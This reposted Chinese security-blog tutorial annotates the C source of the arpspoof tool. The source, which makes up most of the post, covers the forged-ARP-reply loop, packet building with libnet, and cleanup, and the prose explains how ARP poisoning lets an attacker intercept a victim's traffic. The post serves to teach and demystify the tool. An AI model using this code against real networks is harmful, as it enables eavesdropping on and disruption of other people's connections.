转载

以一种轻松的方式来看ARPspoof源码

本文原创作者:VillanCh

前言

如果你的目标是一个会使用工具的hacker的话,请无视下面的所有内容;如果你的目标是渴望拥有自己的黑客工具,编写自己的xxxtools,那么看一些简单的工具的源码一定大有裨益。

背景

今天心血来潮闲着无聊打算分析某个小工具的源代码看看玩。

笔者也是一颗hacker的心,但是有一定的网络编程功底,一直立志不做一名只会用工具的hacker,那么今天晚上我的目标就是那个已经被滥用的ARPspoof。

说实在的我非常不喜欢神化黑客工具,那么我们今天就拿ARPspoof来开刀,看看这个可以实现ARP欺骗的小玩意内藏了多少“可怕的东西”

首先我是看过一些已经在FreeBuf上发出的关于ARP攻击的一些文章,窃以为我能看到,但是爱好者(不具备tcpip知识,网络知识基础薄弱的人可能要遭殃了)然后我准备以一种轻松的,微观的心态来讲一下这个问题,如在文章中出现漏洞或者是错误,欢迎大家指出。

找到ARPspoof的源代码,核心代码基本都不变,那么我们这就开始把!但是ARPspoof的源代码随着版本的更新不停地在重构,我找了一个相对比较稳定的版本。

以一种轻松的方式来补充基础知识

在此之前请允许我补充一些基础知识。

Arp数据包的作用:每一台电脑进入网络之后会广播一条arp数据包来声明自己的身份(ip,mac地址等),那么如果arp被恶意劫持了就是我们所熟悉的arp污染或者arp劫持。为了方便大家理解,我们可以类比我们平时所用的身份证,如果身份证被人拿走了,是不是可以被用来开户开房做坏事洗钱什么的?没错,我们可以姑且把arp当作这样的一个例子,但是也不完全对,就本文讨论这个工具而言的话我们这样理解是足够了。

Libnet库,这个库是一个神奇的库,在可以直接对链路层进行处理,如果你厌倦了socket的规规矩矩的使用,可以考虑看一下libnet库,同样的你也会猜到了,如果你发送大量的链路层数据报,有可能造成网络不稳定等各种问题,那么问题来了flood攻击,DDOS攻击是不是可是实现了?这个问题我还是很有兴趣为大家揭秘的。言归正传,关于libnet的使用,我们在arpspoof里面将会见到。

最最基础的网络知识与基础的linux内核编程知识本文是默认大家已经掌握的。那么我们接下来可以开始了么?不不不。

Think like a hacker

我还需要罗嗦一点讲一讲arp劫持的故事:

我随意网上搜索一个 arp劫持的例子 。

源于baidu,恩其实这个没什么神秘的,只是做出来效果不错而已

接下来是freebuf的Heee这个作者的一片文章地址《中间人攻击-ARP毒化》。

那么我想说的倒不是这个,arp攻击我个人把它分为两种:1.arp断网;2.arp劫持。其实在成功实施arp断网的时候,实际的效果是被攻击的主机把攻击的机器当作了网关,而所有的数据包都发送到了攻击机上了,也就是说,理论上你是可以拿到它发送的所有数据包的(包括密码???),当然密码是极有可能加密的。

我们再延伸一下,收到了被攻击者发来的数据包我们会怎么办?查看一下么?但是好像查看的意义不太大啊(因为又去无回,被攻击者不停地再发请求数据包,并不会有什么数据交换,这样的数据包实际上是没有什么意思的),于是我们就想办法伪装一下,最简单的办法就是再欺骗一下网关么?bingo!答对了,好,问题又来了欺骗网关就可以了么?你收到的 被害者的数据包没有销赃。。。那么,其实很好解决,端口重定向。关于具体的实施,不是重点。

其实我们要来看看这个arpspoof这个小工具的源代码的。那么现在就可以正式开始了!

从main函数开始

首先大家不要慌,我加了无数注释,这个工具的代码也不过400行而已。首先我们看一下main函数:

为了避免大家看起来太紧张,我在源码的注释中加了详细的讲解,方便基础薄弱的同学理解:

int main(int argc, char *argv[]) {        int c;        char ebuf[PCAP_ERRBUF_SIZE];        intf = NULL;        spoof_ip = target_ip = 0;    /**       关于getopt这个函数我想做如下解释大家就可以读懂下面的函数的具体意思了:       1.getopt的用途:用于专门处理函数参数的。       2.getopt的用法:argc与argv直接是从main的参数中拿下来的,第三个参数描述了整个程序参数的命令要求                     具体的用法我们可以先理解为要求i,t这两个参数必须有值                     然后有具体值得参数会把值付给全局变量optarg,这样我们就能理解下面的while循环中的操作了  */        while ((c = getopt(argc, argv, "i:t:h?V")) != -1) {                 switch (c) {                 case 'i':                      intf = optarg;                      break;               case 't': /*        libnet_name_resolve是解析域名,然后把域名解析的结果形成ip地址返回到target_ip */                      if ((target_ip = libnet_name_resolve(optarg, 1)) == -1)                             usage();                      break;               default:                      usage();                 }          }               argc -= optind;        argv += optind;          if (argc != 1)               usage();          if ((spoof_ip = libnet_name_resolve(argv[0], 1)) == -1)               usage();         /*       pcap_lookupdev 顾名思义这个pcap库中的函数是用来寻找本机的可用网络设备。       下面的if语句是将如果intf(-i的参数为空就调用pcap_lookupdev来寻找本机的网络设备)             ebuf就是error_buf用来存储错误信息       */        if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL)               errx(1, "%s", ebuf);    /*  libnet_open_link_interface这个函数存在于libnet库中,作用是打开intf指向的网络链路设备  错误信息存入ebuf中。  */        if ((llif = libnet_open_link_interface(intf, ebuf)) == 0)               errx(1, "%s", ebuf);    /*  下面语句的意思是如果target_ip为0或者是arp_find没有成功找到target_ip  那么提示错误  */        if (target_ip != 0 && !arp_find(target_ip, &target_mac))               errx(1, "couldn't arp for host %s",      libnet_host_lookup(target_ip, 0));    //这里关于信号的处理问题如果大家不是太清楚的话也可以跳过,  //有兴趣的朋友,可以深入了解一下,因为这里不是本文重点,就不再赘述了        signal(SIGHUP, cleanup);        signal(SIGINT, cleanup);        signal(SIGTERM, cleanup);          for (;;) {              /*                     在这个for的循环里我们看到了我们希望看到的核心模块       arp_send大家一看这个函数便知道这个函数是用来发送伪造的arp数据包的,关于这个函数具体的用法我们稍后将会讨论               */                  arp_send(llif, intf, ARPOP_REPLY, NULL, spoof_ip,                     (target_ip ? (u_char *)&target_mac : NULL),                     target_ip);               sleep(2);          } /* NOTREACHED */          exit(0);   }

看了main函数里面的各种东西,我们发现并没有什么玄机,其实就是很简单的编程,具体的函数讲解都在注释中写出来了。

核心函数的登场

接下来我们就看一下他是如何实现发送arp包的,其实知道大家看了源代码以后就知道,这真的没有什么技术含量,

/**       这里是我们发送arp包的核心实现       我先来介绍一下这个函数的参数方便大家理解       参数一:libnet链路层接口,通过这个接口可以操作链路层       参数二:本机的网卡设备intf(由-i指定或者pcap_lookupdev来获取)       参数三:arpop,来指定arp包的操作       参数四:本机硬件地址       参数五:本机ip       参数六:目标硬件地址       参数七:目标ip  */ int arp_send(struct libnet_link_int *llif, char *dev,  int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa) {          char ebuf[128];        u_char pkt[60];    /*  这里来通过链路层和网卡来获取dev对应的mac地址*/        if (sha == NULL &&     (sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf)) == NULL) {                 return (-1);          }        /*        这里通过链路层和网卡来获取dev对应的ip地址        */          if (spa == 0) {                 if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0)                      return (-1);               spa = htonl(spa); /* XXX */          }               /*        如果目标mac没有的话就被赋值为/xff/xff/xff/xff/xff/xff        */        if (tha == NULL)               tha = "/xff/xff/xff/xff/xff/xff";    /* libnet_ptag_t libnet_build_ethernet( u_int8_t*dst, u_int8_t *src, u_int16_ttype, u_int8_t*payload, u_int32_tpayload_s, libnet_t*l, libnet_ptag_t ptag ) 功能: 构造一个以太网数据包 参数: dst:目的 mac src:源 mac type:上层协议类型 payload:负载,即附带的数据,可设置为 NULL(这里通常写 NULL) payload_s:负载长度,或为 0(这里通常写 0 ) l:libnet 句柄,libnet_init() 返回的 libnet * 指针 ptag:协议标记,第一次组新的发送包时,这里写 0,同一个应用程序,下一次再组包时,这个位置的值写此函数的返回值。 返回值: 成功:协议标记 失败:-1  */        libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt);  /*  libnet_ptag_t libnet_build_arp( u_int16_t hrd, u_int16_t pro, u_int8_t hln, u_int8_t pln, u_int16_t op, u_int8_t *sha, u_int8_t *spa, u_int8_t *tha, u_int8_t *tpa, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag ) 功能: 构造 arp 数据包  参数:  hrd:硬件地址格式,ARPHRD_ETHER(以太网)  pro:协议地址格式,ETHERTYPE_IP( IP协议)  hln:硬件地址长度  pln:协议地址长度  op:ARP协议操作类型(1:ARP请求,2:ARP回应,3:RARP请求,4:RARP回应)  sha:发送者硬件地址  spa:发送者协议地址  tha:目标硬件地址  tpa:目标协议地址  payload:负载,可设置为 NULL(这里通常写 NULL)  payload_s:负载长度,或为 0(这里通常写 0 )  l:libnet 句柄,libnet_init() 返回的 libnet * 指针  ptag:协议标记,第一次组新的发送包时,这里写 0,同一个应用程序,下一次再组包时,这个位置的值写此函数的返回值。  返回值:  成功:协议标记  失败:-1  */        libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4,              op, sha, (u_char *)&spa, tha, (u_char *)&tpa,              NULL, 0, pkt + ETH_H);          fprintf(stderr, "%s ",        ether_ntoa((struct ether_addr *)sha));        /*  下面的if和else是回显处理(也就是大家能看到的部分  */        if (op == ARPOP_REQUEST) {                 fprintf(stderr, "%s 0806 42: arp who-has %s tell %s/n",                      ether_ntoa((struct ether_addr *)tha),                      libnet_host_lookup(tpa, 0),                      libnet_host_lookup(spa, 0));          }        else {                 fprintf(stderr, "%s 0806 42: arp reply %s is-at ",                      ether_ntoa((struct ether_addr *)tha),                      libnet_host_lookup(spa, 0));               fprintf(stderr, "%s/n",                      ether_ntoa((struct ether_addr *)sha));          }        return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt));   }

我们看到这其实真的没有什么很神奇的内容对吧?

小尾巴

 /*       下面我们发现挂载信号处理函数的都是cleanup函数,       这个函数很好理解,就是在本机网络设备存在的条件下把包再发三遍,             但是为什么要这么做呢?似乎立即中断也没什么不合理,       我想作者的意思就是总要给一个缓冲的时间啊         我们再仔细观察一下,在main的主循环中是sleep(2)       在下面的循环中是sleep(1)        */ void cleanup(int sig) {          int i;          if (arp_find(spoof_ip, &spoof_mac)) {                 for (i = 0; i < 3; i++) {   /* XXX - on BSD, requires ETHERSPOOF kernel. */   /*上面这条注释是源码的作者加的,意思是说在BSD系统中需要ETHERSPOOF的第三方内核模块*/                      arp_send(llif, intf, ARPOP_REPLY,                            (u_char *)&spoof_mac, spoof_ip,                            (target_ip ? (u_char *)&target_mac : NULL),                            target_ip);                      sleep(1);                 }          }             exit(0);   }

这样我们还有什么不理解么?在《中间人攻击-ARP毒化》一文中,arpspoof这个工具被我们以这样的方式解密,大家是否开始觉得其实这并没有任何神奇的地方?这就是我们神化的黑客工具吧。 

下载附件

链接 密码: rsua

心血来潮之作,如有高见,希望大家不吝赐教~~

*原创作者:VillanCh,本文属FreeBuf原创奖励计划文章,未经作者本人及FreeBuf许可,切勿私自转载

正文到此结束
Loading...